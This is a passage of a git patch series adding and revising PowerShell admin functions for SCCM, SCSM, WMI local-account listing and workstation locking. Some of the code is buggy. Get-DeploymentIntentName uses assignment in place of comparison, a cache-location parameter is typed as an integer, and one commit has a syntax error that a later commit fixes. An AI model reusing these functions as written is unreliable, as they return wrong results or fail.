"FX" -ApplicationList "Photoshop","AutoCad" + + .EXAMPLE + New-SCCMTSVariable -BaseVariableName "FX" -ApplicationList $Variable + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + #> + + PARAM ([String]$BaseVariableName, + + [String[]]$ApplicationList + ) + + BEGIN + { + $TSEnv = New-Object -COMObject Microsoft.SMS.TSEnvironment + } + PROCESS + { + + $ApplicationCount = $ApplicationList.Count + $Counter = 1 + + $ApplicationList | ForEach-Object { + $Variable = "$BaseVariableName{0:00}" -f $Counter + $TSEnv.value("$Variable") = "$_" + + $Counter++| Out-Null + } + } +} \ No newline at end of file From 2c3b3ff5f36834fa6da39ffe78313c02ac42ea3f Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 4 Sep 2015 18:18:06 -0400 Subject: [PATCH 013/561] Update Add-SCSMWorkItemRAReviewer --- .../Add-SCSMWorkItemRAReviewer.ps1 | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/SCSM-Add-SCSMWorkItemRAReviewer/Add-SCSMWorkItemRAReviewer.ps1 b/SCSM-Add-SCSMWorkItemRAReviewer/Add-SCSMWorkItemRAReviewer.ps1 index 3109cba8..69ca1294 100644 --- a/SCSM-Add-SCSMWorkItemRAReviewer/Add-SCSMWorkItemRAReviewer.ps1 +++ b/SCSM-Add-SCSMWorkItemRAReviewer/Add-SCSMWorkItemRAReviewer.ps1 @@ -16,11 +16,11 @@ .PARAMETER MustVote Specifies if the Vote is required. Default is False. - .PARAMETER WorkItem - Specifies the WorkItem object + .PARAMETER WorkItemID + Specifies the WorkItem ID of the Review Activity .EXAMPLE - PS C:\> Add-SCSMWorkItemRAReviewer -UserName 'francois-xavier' -veto $true + PS C:\> Add-SCSMWorkItemRAReviewer -UserName 'francois-xavier' -veto $true -WorkItemID '2aa822b0-b144-3acf-bee3-9a11714c5de0' .NOTES Francois-Xavier Cat @@ -38,7 +38,7 @@ [Boolean]$mustvote = $false, - $WorkItem + $WorkItemID ) BEGIN { Import-Module -Name SMLets -ErrorAction Stop } @@ -46,7 +46,7 @@ { # Retrieve the Active Directory User Class $ADUserClassID = '10a7f898-e672-ccf3-8881-360bfb6a8f9a' - $ADUserClassObject = Get-ScsmClass -id $id_adUserClass + $ADUserClassObject = Get-ScsmClass -Id $ADUserClassID $ScsmUser = Get-ScsmObject -class $ADUserClassObject -filter "Username -eq $UserName" @@ -62,10 +62,12 @@ $Reviewer = new-scsmobject -class $class_ReviewerClass -propertyhashtable $ReviewerArgs -nocommit + $WorkItem = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.Activity.ReviewActivity$) -filter "ID -eq '$WorkItemID'" + $reviewerStep1 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_HasReviewer -Source $WorkItem -Target $Reviewer $reviewerStep2 = New-SCSMRelationshipObject -nocommit -Relationship $RelationShipClass_ReviewerIsUser -Source $Reviewer -Target $ScsmUser $reviewerStep1.Commit() $reviewerStep2.Commit() } } -} \ No newline at end of file +} From 7d2b5b3662d9088baa61d3db064c0971ec3eeedd Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 4 Sep 2015 21:52:06 -0400 Subject: [PATCH 014/561] Update New-SCCMTSAppVariable --- .../New-SCCMTSAppVariable.ps1 | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 index 2ab87fbb..bbdc1316 100644 --- a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 +++ b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 @@ -31,19 +31,26 @@ BEGIN { - $TSEnv = New-Object -COMObject Microsoft.SMS.TSEnvironment + # Create an TaskSequence Environment Object + $TaskSequenceEnvironment = New-Object -COMObject Microsoft.SMS.TSEnvironment } PROCESS { - $ApplicationCount = $ApplicationList.Count + # Create a Counter $Counter = 1 + # Foreach Application we create an incremented variable $ApplicationList | ForEach-Object { + + # Define the Variable Name $Variable = "$BaseVariableName{0:00}" -f $Counter - $TSEnv.value("$Variable") = "$_" - $Counter++| Out-Null + # Create the Task Sequence Variable + $TaskSequenceEnvironment.value("$Variable") = "$_" + + # Increment the counter + [void]$Counter++ } } } \ No newline at end of file From c05fb8c56fea65fd39ef7ee3c26bba3f016766f9 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 11 Nov 2015 11:24:56 -0500 Subject: [PATCH 015/561] Create LICENSE.md --- LICENSE.md | 1 + 1 file changed, 1 insertion(+) create mode 100644 LICENSE.md diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1 @@ + From a249f9baae3a53f4f8dac818c4ae4c939045ba27 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 11 Nov 2015 11:25:41 -0500 Subject: [PATCH 016/561] Update LICENSE.md --- LICENSE.md | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/LICENSE.md b/LICENSE.md index 8b137891..a0f999f7 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1 +1,21 @@ +The MIT License (MIT) +Copyright (c) 2015 Francois-Xavier Cat + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. From a5b6322d21bed8f5c190a7980113393c4ab4e8a9 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 11 Nov 2015 22:44:22 -0500 Subject: [PATCH 017/561] Adding Get-LocalUser Get-LocalGroup --- TOOL-Get-LocalGroup/Get-LocalGroup.ps1 | 61 ++++++++++++++++++++++++++ TOOL-Get-LocalUser/Get-LocalUser.ps1 | 61 ++++++++++++++++++++++++++ 2 files changed, 122 insertions(+) create mode 100644 TOOL-Get-LocalGroup/Get-LocalGroup.ps1 create mode 100644 TOOL-Get-LocalUser/Get-LocalUser.ps1 diff --git a/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 new file mode 100644 index 00000000..7b679a7f --- /dev/null +++ b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 @@ -0,0 +1,61 @@ +function Get-LocalGroup +{ + +<# + .SYNOPSIS + This script can be list all of local group account. + + .DESCRIPTION + This script can be list all of local group account. + The function is using WMI to connect to the remote machine + + .PARAMETER ComputerName + Specifies the computers on which the command . The default is the local computer. + + .PARAMETER Credential + A description of the Credential parameter. + + + .EXAMPLE + Get-LocalGroup + + This example shows how to list all the local groups on local computer. + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm +#> + + PARAM + ( + [Alias('cn')] + [String[]]$ComputerName = $Env:COMPUTERNAME, + + [String]$AccountName, + + [System.Management.Automation.PsCredential]$Credential + ) + + $Splatting = @{ + Class = "Win32_Group" + Namespace = "root\cimv2" + Filter = "LocalAccount='$True'" + } + + #Credentials + If ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } + + Foreach ($Computer in $ComputerName) + { + TRY + { + Write-Verbose -Message "[PROCESS] ComputerName: $Computer" + Get-WmiObject @Splatting -ComputerName $Computer | Select-Object -Property Name, Caption, Status, SID, SIDType, Domain, Description + } + CATCH + { + Write-Warning -Message "[PROCESS] Issue connecting to $Computer" + } + } +} \ No newline at end of file diff --git a/TOOL-Get-LocalUser/Get-LocalUser.ps1 b/TOOL-Get-LocalUser/Get-LocalUser.ps1 new file mode 100644 index 00000000..95c69e23 --- /dev/null +++ b/TOOL-Get-LocalUser/Get-LocalUser.ps1 @@ -0,0 +1,61 @@ +function Get-LocalUser +{ + +<# + .SYNOPSIS + This script can be list all of local user account. + + .DESCRIPTION + This script can be list all of local user account. + The function is using WMI to connect to the remote machine + + .PARAMETER ComputerName + Specifies the computers on which the command . The default is the local computer. + + .PARAMETER Credential + A description of the Credential parameter. + + + .EXAMPLE + Get-LocalUser + + This example shows how to list all of local users on local computer. + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm +#> + + PARAM + ( + [Alias('cn')] + [String[]]$ComputerName = $Env:COMPUTERNAME, + + [String]$AccountName, + + [System.Management.Automation.PsCredential]$Credential + ) + + $Splatting = @{ + Class = "Win32_UserAccount" + Namespace = "root\cimv2" + Filter = "LocalAccount='$True'" + } + + #Credentials + If ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } + + Foreach ($Computer in $ComputerName) + { + TRY + { + Write-Verbose -Message "[PROCESS] ComputerName: $Computer" + Get-WmiObject @Splatting -ComputerName $Computer | Select-Object -Property Name, FullName, Caption, Disabled, Status, Lockout, PasswordChangeable, PasswordExpires, PasswordRequired, SID, SIDType, AccountType, Domain, Description + } + CATCH + { + Write-Warning -Message "[PROCESS] Issue connecting to $Computer" + } + } +} \ No newline at end of file From b0b44f37df7632e3af936bcac1b2060282df87ea Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 19 Nov 2015 13:40:30 -0500 Subject: [PATCH 018/561] Adding DeploymentIntentName prop --- .../Get-SCCMUserCollectionDeployment.ps1 | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 index 329ef3b4..833c59bf 100644 --- a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 @@ -89,6 +89,21 @@ default { $DeploymentIntent = "NA" } } + Function Get-DeploymentIntentName + { + PARAM( + [Parameter(Mandatory)] + $DeploymentIntent + ) + PROCESS + { + if ($DeploymentIntent = 0) { Write-Output "Required" } + if ($DeploymentIntent = 2) { Write-Output "Available" } + if ($DeploymentIntent -ne 0 -and $DeploymentIntent -ne 2) { Write-Output "NA" } + } + }#Function Get-DeploymentIntentName + + } PROCESS { @@ -128,6 +143,7 @@ DeploymentID = $Deploy.DeploymentID DeploymentName = $Deploy.DeploymentName DeploymentIntent = $deploy.DeploymentIntent + DeploymentIntentName = (Get-DeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) TargetName = $Deploy.TargetName TargetSubName = $Deploy.TargetSubname From 0afc4e488ddb3114329e8fd25b17ded8b476d227 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 19 Nov 2015 14:22:03 -0500 Subject: [PATCH 019/561] Add Lock-Computer --- TOOL-Lock-Computer/Lock-Computer.ps1 | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 TOOL-Lock-Computer/Lock-Computer.ps1 diff --git a/TOOL-Lock-Computer/Lock-Computer.ps1 b/TOOL-Lock-Computer/Lock-Computer.ps1 new file mode 100644 index 00000000..95dd6021 --- /dev/null +++ b/TOOL-Lock-Computer/Lock-Computer.ps1 @@ -0,0 +1,17 @@ +Function Lock-Computer +{ + <# + .DESCRIPTION + Function to Lock your computer + .SYNOPSIS + Function to Lock your computer + #> + +$signature = @" +[DllImport("user32.dll", SetLastError = true)] +public static extern bool LockWorkStation(); +"@ + + $LockComputer = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru + $LockComputer::LockWorkStation() | Out-Null +} \ No newline at end of file From 7635d208872d467e196519deef51517696327fbb Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 19 Nov 2015 14:22:47 -0500 Subject: [PATCH 020/561] Add Set-SCCMClientCacheSize --- SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 diff --git a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 new file mode 100644 index 00000000..927c0460 --- /dev/null +++ b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 @@ -0,0 +1,8 @@ +function Set-SCCMClientCacheSize +{ + PARAM($ComputerName) + $Cache = Get-WmiObject -Namespace ‘ROOT\CCM\SoftMgmtAgent’ -Class CacheConfig -ComputerName $ComputerName + $Cache.Size = ‘10240’ + $Cache.Put() + Get-Service -ComputerName $ComputerName -Name 'ccmexec'| Restart-Service -Name CcmExec +} \ No newline at end of file From f07e188fc93def70ff0a2e2b544cd3867dfadaeb Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 19 Nov 2015 14:52:16 -0500 Subject: [PATCH 021/561] Update Help of Get-SCCMUserCollectionDeployment --- .../Get-SCCMUserCollectionDeployment.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 index 833c59bf..29931db7 100644 --- a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 @@ -31,7 +31,7 @@ Default is Null (get all) .EXAMPLE - Get-SCCMUserTargetedApplication -UserName TestUser -Credential $cred -Purpose Required + Get-SCCMUserCollectionDeployment -UserName TestUser -Credential $cred -Purpose Required .NOTES Francois-Xavier cat From 83a17af2c60b27d01ccb7a1252810329fb4e1103 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 19 Nov 2015 14:52:30 -0500 Subject: [PATCH 022/561] Add Get-SCCMDeviceCollectionDeployment --- .../Get-SCCMDeviceCollectionDeployment.ps1 | 140 ++++++++++++++++++ 1 file changed, 140 insertions(+) create mode 100644 SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 diff --git a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 new file mode 100644 index 00000000..087da33b --- /dev/null +++ b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 @@ -0,0 +1,140 @@ +function Get-SCCMDeviceCollectionDeployment +{ +<# + .SYNOPSIS + Function to retrieve a Device targeted application(s) + + .DESCRIPTION + Function to retrieve a Device targeted application(s). + The function will first retrieve all the collection where the Device is member of and + find deployment advertised to those. + + .PARAMETER Devicename + Specifies the SamAccountName of the Device. + The Device must be present in the SCCM CMDB + + .PARAMETER SiteCode + Specifies the SCCM SiteCode + + .PARAMETER ComputerName + Specifies the SCCM Server to query + + .PARAMETER Credential + Specifies the credential to use to query the SCCM Server. + Default will take the current user credentials + + .PARAMETER Purpose + Specifies a specific deployment intent. + Possible value: Available or Required. + Default is Null (get all) + .EXAMPLE + Get-SCCMDeviceCollectionDeployment -DeviceName MTLLAP8500 -Credential $cred -Purpose Required + + .NOTES + Francois-Xavier cat + WB Games Montreal + + SMS_R_SYSTEM: https://msdn.microsoft.com/en-us/library/cc145392.aspx + SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx + SMS_DeploymentInfo: https://msdn.microsoft.com/en-us/library/hh948268.aspx +#> + + [CmdletBinding()] + PARAM + ( + [Parameter(Mandatory)] + $DeviceName, + + [Parameter(Mandatory)] + $SiteCode, + + [Parameter(Mandatory)] + $ComputerName, + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [ValidateSet('Required', 'Available')] + $Purpose + ) + + BEGIN + { + + # Define default properties + $Splatting = @{ + ComputerName = $ComputerName + NameSpace = "root\SMS\Site_$SiteCode" + } + + IF ($PSBoundParameters['Credential']) + { + $Splatting.Credential = $Credential + } + + Switch ($Purpose) + { + "Required" { $DeploymentIntent = 0 } + "Available" { $DeploymentIntent = 2 } + default { $DeploymentIntent = "NA" } + } + + Function Get-DeploymentIntentName + { + PARAM( + [Parameter(Mandatory)] + $DeploymentIntent + ) + PROCESS + { + if ($DeploymentIntent = 0) { Write-Output "Required" } + if ($DeploymentIntent = 2) { Write-Output "Available" } + if ($DeploymentIntent -ne 0 -and $DeploymentIntent -ne 2) { Write-Output "NA" } + } + }#Function Get-DeploymentIntentName + + } + PROCESS + { + $Device = Get-WMIObject @Splatting -Query "Select * From SMS_R_SYSTEM WHERE Name='$DeviceName'" + + + Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($Device.resourceid)'" | ForEach-Object { + $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE CollectionID='$($_.Collectionid)'" + + Foreach ($Collection in $collections) + { + IF ($DeploymentIntent -eq 'NA') + { + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") + } + ELSE + { + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") + } + + Foreach ($Deploy in $Deployments) + { + $Properties = @{ + UserName = $DeviceName + ComputerName = $ComputerName + CollectionName = $Deploy.CollectionName + CollectionID = $Deploy.CollectionID + DeploymentID = $Deploy.DeploymentID + DeploymentName = $Deploy.DeploymentName + DeploymentIntent = $deploy.DeploymentIntent + DeploymentIntentName = (Get-DeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) + TargetName = $Deploy.TargetName + TargetSubName = $Deploy.TargetSubname + + } + + New-Object -TypeName PSObject -prop $Properties + } + + + } + } + } +} \ No newline at end of file From 9aacbd2ec4babb3b62de129f85b5c42febd92e2c Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 19 Nov 2015 15:21:56 -0500 Subject: [PATCH 023/561] Update Set-SCCMClientCacheSize Add Error handling, Credential and SizeMB parameter --- .../Set-SCCMClientCacheSize.ps1 | 72 +++++++++++++++++-- 1 file changed, 66 insertions(+), 6 deletions(-) diff --git a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 index 927c0460..e5b87528 100644 --- a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 +++ b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 @@ -1,8 +1,68 @@ function Set-SCCMClientCacheSize { - PARAM($ComputerName) - $Cache = Get-WmiObject -Namespace ‘ROOT\CCM\SoftMgmtAgent’ -Class CacheConfig -ComputerName $ComputerName - $Cache.Size = ‘10240’ - $Cache.Put() - Get-Service -ComputerName $ComputerName -Name 'ccmexec'| Restart-Service -Name CcmExec -} \ No newline at end of file + <# + .SYNOPSYS + Function to set the cache size on a SCCM Client + .DESCRIPTION + Function to set the cache size on a SCCM Client + .PARAMETER ComputerName + Specifies the name of the client on which the Cache size need to be changed + .PARAMETER SizeMB + Specifies the size of the cache in MB. + #> + PARAM( + [Parameter(Mandatory)] + [string[]]$ComputerName, + + [int]$SizeMB = 10240, + + [Switch]$ServiceRestart, + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + ) + + FOREACH ($Computer in $ComputerName) + { + Write-Verbose -message "[PROCESS] ComputerName: $Computer" + + # Define Parameters + $SplattingWMI = @{ + NameSpace = "ROOT\CCM\SoftMgmtAgent" + Class = "CacheConfig" + } + $SplattingService = @{ + Name = 'ccmexec' + } + + IF ($PSBoundParameters['ComputerName']) + { + $SplattingWMI.ComputerName = $Computer + $SplattingService.ComputerName = $Computer + } + IF ($PSBoundParameters['Credential']) + { + $SplattingWMI.Credential = $Credential + } + + TRY + { + # Set the Cache Size + $Cache = Get-WmiObject @SplattingWMI + $Cache.Size = $SizeMB + $Cache.Put() + + # Restart SCCM Client + IF($PSBoundParameters[ServiceRestart]) + { + Get-Service @SplattingService | Restart-Service + } + } + CATCH + { + Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" + $Error[0].execption.message + } + } +} From a73e6afdce043841efe135052dda635f641c31c8 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 19 Nov 2015 15:24:18 -0500 Subject: [PATCH 024/561] Update Set-SCCMClientCacheSize.ps1 Add some help --- SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 index e5b87528..6140f192 100644 --- a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 +++ b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 @@ -9,6 +9,15 @@ Specifies the name of the client on which the Cache size need to be changed .PARAMETER SizeMB Specifies the size of the cache in MB. + .PARAMETER ServiceRestart + Specifies that you want the SCCM Client service to restart + .PARAMETER Credential + Specifies the credential to use against the remote machine + Only work with the WMI query for now, not the service restart + .EXAMPLE + Set-SCCMClientCacheSize -ComputerName Client01 -SizeMB 5000 + + This will set the client cache to 5000Mb on the computer Client01 #> PARAM( [Parameter(Mandatory)] From dc7011b4e8feabc04d82707fda15d6073d190cf4 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 19 Nov 2015 15:41:51 -0500 Subject: [PATCH 025/561] Add Get-SCCMClientCacheInformation --- .../Get-SCCMClientCacheInformation.ps1 | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 diff --git a/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 new file mode 100644 index 00000000..549e80d4 --- /dev/null +++ b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 @@ -0,0 +1,57 @@ +function Get-SCCMClientCacheInformation +{ + <# + .SYNOPSYS + Function to get the cache size on a SCCM Client + .DESCRIPTION + Function to get the cache size on a SCCM Client + .PARAMETER ComputerName + Specifies the name of the client + .PARAMETER Credential + Specifies the credential to use against the remote machine + Only work with the WMI query for now, not the service restart + .EXAMPLE + Get-SCCMClientCacheInformation -ComputerName Client01 + + This will get the client cache size on the computer Client01 + #> + PARAM( + [string[]]$ComputerName=".", + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + FOREACH ($Computer in $ComputerName) + { + Write-Verbose -message "[PROCESS] ComputerName: $Computer" + + # Define Parameters + $SplattingWMI = @{ + NameSpace = "ROOT\CCM\SoftMgmtAgent" + Class = "CacheConfig" + } + + IF ($PSBoundParameters['ComputerName']) + { + $SplattingWMI.ComputerName = $Computer + } + IF ($PSBoundParameters['Credential']) + { + $SplattingWMI.Credential = $Credential + } + + TRY + { + # Get the Client information + Get-WmiObject @SplattingWMI + + } + CATCH + { + Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" + $Error[0].execption.message + } + } +} From d3a77e8af4f84e3bc74597da6e51abe71739d944 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 19 Nov 2015 15:42:08 -0500 Subject: [PATCH 026/561] Add Set-SCCMClientCacheLocation --- .../Set-SCCMClientCacheLocation.ps1 | 77 +++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 diff --git a/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 b/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 new file mode 100644 index 00000000..001a5e63 --- /dev/null +++ b/SCCM-Set-SCCMClientCacheLocation/Set-SCCMClientCacheLocation.ps1 @@ -0,0 +1,77 @@ +function Set-SCCMClientCacheLocation +{ + <# + .SYNOPSYS + Function to set the cache location on a SCCM Client + .DESCRIPTION + Function to set the cache location on a SCCM Client + .PARAMETER ComputerName + Specifies the name of the client on which the Cache location need to be changed + .PARAMETER Location + Specifies the location of the cache. + .PARAMETER ServiceRestart + Specifies that you want the SCCM Client service to restart + .PARAMETER Credential + Specifies the credential to use against the remote machine + Only work with the WMI query for now, not the service restart + .EXAMPLE + Set-SCCMClientCacheLocation -ComputerName Client01 -Location "C:\temp\ccmcache" + + This will set the client cache location "C:\temp\ccmcache" on the computer Client01 + #> + PARAM( + [string[]]$ComputerName=".", + + [parameter(Mandatory)] + [int]$Location, + + [Switch]$ServiceRestart, + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + FOREACH ($Computer in $ComputerName) + { + Write-Verbose -message "[PROCESS] ComputerName: $Computer" + + # Define Parameters + $SplattingWMI = @{ + NameSpace = "ROOT\CCM\SoftMgmtAgent" + Class = "CacheConfig" + } + $SplattingService = @{ + Name = 'ccmexec' + } + + IF ($PSBoundParameters['ComputerName']) + { + $SplattingWMI.ComputerName = $Computer + $SplattingService.ComputerName = $Computer + } + IF ($PSBoundParameters['Credential']) + { + $SplattingWMI.Credential = $Credential + } + + TRY + { + # Set the Cache Size + $Cache = Get-WmiObject @SplattingWMI + $Cache.location = $Location + $Cache.Put() + + # Restart SCCM Client + IF($PSBoundParameters['ServiceRestart']) + { + Get-Service @SplattingService | Restart-Service + } + } + CATCH + { + Write-Warning -message "[PROCESS] Something Wrong happened with $Computer" + $Error[0].execption.message + } + } +} From 3862835f74500f0832d56b8998d4cacecc75506e Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 19 Nov 2015 15:42:22 -0500 Subject: [PATCH 027/561] Fix issue with the PSBoundParameters --- SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 index 6140f192..be44b09e 100644 --- a/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 +++ b/SCCM-Set-SCCMClientCacheSize/Set-SCCMClientCacheSize.ps1 @@ -29,7 +29,7 @@ [Alias('RunAs')] [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, + $Credential = [System.Management.Automation.PSCredential]::Empty ) FOREACH ($Computer in $ComputerName) @@ -63,7 +63,7 @@ $Cache.Put() # Restart SCCM Client - IF($PSBoundParameters[ServiceRestart]) + IF($PSBoundParameters['ServiceRestart']) { Get-Service @SplattingService | Restart-Service } From 37672c87b1f9653f2a09dcb335c8f7655e48a6e3 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 20 Nov 2015 10:24:17 -0500 Subject: [PATCH 028/561] Add support for IR parent --- SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 index ba3dfb50..5b4beec3 100644 --- a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 +++ b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 @@ -62,7 +62,7 @@ $ParentRelatedObject = Get-SCSMRelationshipObject -ByTarget $ActivityObject | Where-Object{ $_.RelationshipId -eq $ParentRelationshipID } $ParentObject = $ParentRelatedObject.SourceObject - If ($ParentObject.ClassName -eq 'System.WorkItem.ServiceRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ChangeRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ReleaseRecord') + If ($ParentObject.ClassName -eq 'System.WorkItem.ServiceRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ChangeRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ReleaseRecord' -OR $ParentObject.ClassName -eq 'System.WorkItem.Incident') { Write-Output $ParentObject From 7ccd9ebb7cc6b6ba0d5813c700beb097d56b7c7b Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 20 Nov 2015 11:13:53 -0500 Subject: [PATCH 029/561] Create Readme.md --- 